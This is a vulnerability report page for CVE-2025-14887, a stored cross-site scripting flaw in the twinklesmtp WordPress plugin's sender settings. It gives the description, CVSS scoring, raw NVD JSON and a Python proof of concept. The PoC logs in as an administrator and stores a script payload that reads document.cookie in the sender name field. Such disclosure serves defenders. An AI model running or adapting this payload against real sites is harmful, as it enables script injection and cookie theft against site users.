Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-14887 CVSS 4.4 MEDIUM

CVE-2025-14887

Published: 2026-01-07 12:16:57
Last Modified: 2026-04-15 00:35:42

Description

The twinklesmtp – Email Service Provider For WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin's sender settings in all versions up to, and including, 1.03 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

twinklesmtp plugin <= 1.03

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14887 PoC - twinklesmtp Stored XSS # Affected: twinklesmtp plugin <= 1.03 # Type: Stored Cross-Site Scripting # Attack Vector: Authenticated admin injects XSS via sender settings import requests from bs4 import BeautifulSoup target_url = "http://target-wordpress-site.com" admin_path = "/wp-admin/admin.php?page=twinklesmtp-settings" # XSS payload for sender settings xss_payload = '<script>alert(document.cookie)</script>' # Step 1: Authenticate as administrator session = requests.Session() login_data = { 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': target_url + admin_path } session.post(target_url + '/wp-login.php', data=login_data) # Step 2: Access twinklesmtp settings page response = session.get(target_url + admin_path) # Step 3: Inject XSS payload in sender name field sender_settings = { 'twinklesmtp_sender_name': xss_payload, 'twinklesmtp_sender_email': '[email protected]', 'twinklesmtp_submit': 'Save Changes' } session.post(target_url + admin_path, data=sender_settings) # Step 4: XSS payload is now stored and will execute on page access print('XSS payload injected successfully') print('Payload will execute when any user accesses the affected page')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14887", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:57.477", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The twinklesmtp – Email Service Provider For WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin's sender settings in all versions up to, and including, 1.03 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/twinklesmtp/tags/1.0.3/backend/templates/views/settings/sender/default.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twinklesmtp/tags/1.0.3/backend/templates/views/settings/sender/default.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twinklesmtp/tags/1.0.3/backend/templates/views/settings/sender/default.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twinklesmtp/tags/1.0.3/backend/templates/views/settings/sender/default.php#L50", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twinklesmtp/tags/1.0.3/backend/templates/views/settings/sender/default.php#L84", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twinklesmtp/tags/1.0.3/backend/templates/views/settings/sender/default.php#L88", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/223d62cc-61ee-4818-9521-a772c1d57d59?source=cve", "source": "[email protected]"}]}}